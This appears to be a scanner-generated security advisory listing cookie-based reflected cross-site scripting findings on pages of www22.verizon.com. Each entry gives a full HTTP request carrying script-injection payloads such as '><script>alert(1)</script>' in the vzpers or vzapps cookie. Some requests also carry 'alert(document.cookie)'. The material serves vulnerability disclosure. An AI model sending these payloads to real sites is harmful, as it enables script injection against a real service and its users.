GET /Content/LearnShop/Templates/Bundles/Overview.aspx?NRMODE=Published&NRNODEGUID=%7b0ECAE15E-8F92-465E-B27B-6897F0CAB2C4%7d&NRORIGINALURL=%2fresidential%2fbundles%2foverview&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX3915f<script>alert(1)</script>d024ec56917; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 3274c<script>alert(1)</script>68a8600749 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/Bundles/Overview.aspx?NRMODE=Published&NRNODEGUID=%7b0ECAE15E-8F92-465E-B27B-6897F0CAB2C4%7d&NRORIGINALURL=%2fresidential%2fbundles%2foverview&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3274c<script>alert(1)</script>68a8600749; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 78091'><script>alert(1)</script>c6dc4ec7a51 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/Bundles/Overview.aspx?NRMODE=Published&NRNODEGUID=%7b0ECAE15E-8F92-465E-B27B-6897F0CAB2C4%7d&NRORIGINALURL=%2fresidential%2fbundles%2foverview&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX78091'><script>alert(1)</script>c6dc4ec7a51; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 68a71<script>alert(1)</script>da0afcb6a72 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX68a71<script>alert(1)</script>da0afcb6a72; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 121126 Expires: Mon, 13 Dec 2010 00:40:13 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:40:13 GMT Connection: close Set-Cookie: ContextInfo_State=; expires=Sun, 12-Dec-2010 00:40:13 GMT; path=/ Set-Cookie: ContextInfo_State=TX68a71<script>alert(1)</script>da0afcb6a72; path=/ Set-Cookie: BTagRequired=N; domain=.verizon.com; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head"><meta http-equiv="X-UA-Compatible ...[SNIP]... <span runat="server" id="spnvzapp">TX68A71<SCRIPT>ALERT(1)</SCRIPT>DA0AFCB6A72 . </span> ...[SNIP]...
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 70fc8<script>alert(1)</script>1d3cce5fce6 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX70fc8<script>alert(1)</script>1d3cce5fce6; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f7f21'><script>alert(1)</script>a7cbf3c061b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXf7f21'><script>alert(1)</script>a7cbf3c061b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1d8c7'><script>alert(1)</script>654ef4cf9bc was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/FlexView/FlexView HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1d8c7'><script>alert(1)</script>654ef4cf9bc; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 4ca2b<script>alert(1)</script>c43c6dd4a12 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/FlexView/FlexView HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX4ca2b<script>alert(1)</script>c43c6dd4a12; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 421b7'><script>alert(1)</script>58009eb1a1 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fios_online_nat/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX421b7'><script>alert(1)</script>58009eb1a1; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload fd877<script>alert(1)</script>7b3f639e7b1 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fios_online_nat/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXfd877<script>alert(1)</script>7b3f639e7b1; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 85929<script>alert(1)</script>45c2f5b4f20 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fiosinternet_ultimate/fiosinternet_ultimate.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX85929<script>alert(1)</script>45c2f5b4f20; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c78a7'><script>alert(1)</script>8dad9703779 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fiosinternet_ultimate/fiosinternet_ultimate.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXc78a7'><script>alert(1)</script>8dad9703779; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload b917c<script>alert(1)</script>fa97df60a7d was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/getredzone/getredzone HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb917c<script>alert(1)</script>fa97df60a7d; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8046'><script>alert(1)</script>f7d2e408c72 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/getredzone/getredzone HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXa8046'><script>alert(1)</script>f7d2e408c72; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 86e1e<script>alert(1)</script>e652292994e was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_offline_pp/hsi_offline_pp.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX86e1e<script>alert(1)</script>e652292994e; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 81d1d'><script>alert(1)</script>0ba91b1db69 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_offline_pp/hsi_offline_pp.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX81d1d'><script>alert(1)</script>0ba91b1db69; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 98eec'><script>alert(1)</script>ee170511886 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_online_natoff/hsi_online_natoff.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX98eec'><script>alert(1)</script>ee170511886; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload cd2eb<script>alert(1)</script>65fe52be0f1 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_online_natoff/hsi_online_natoff.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXcd2eb<script>alert(1)</script>65fe52be0f1; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload bd5c7<script>alert(1)</script>87ad517d5c6 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/MarketingLanding/triple_play/triple_play HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXbd5c7<script>alert(1)</script>87ad517d5c6; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
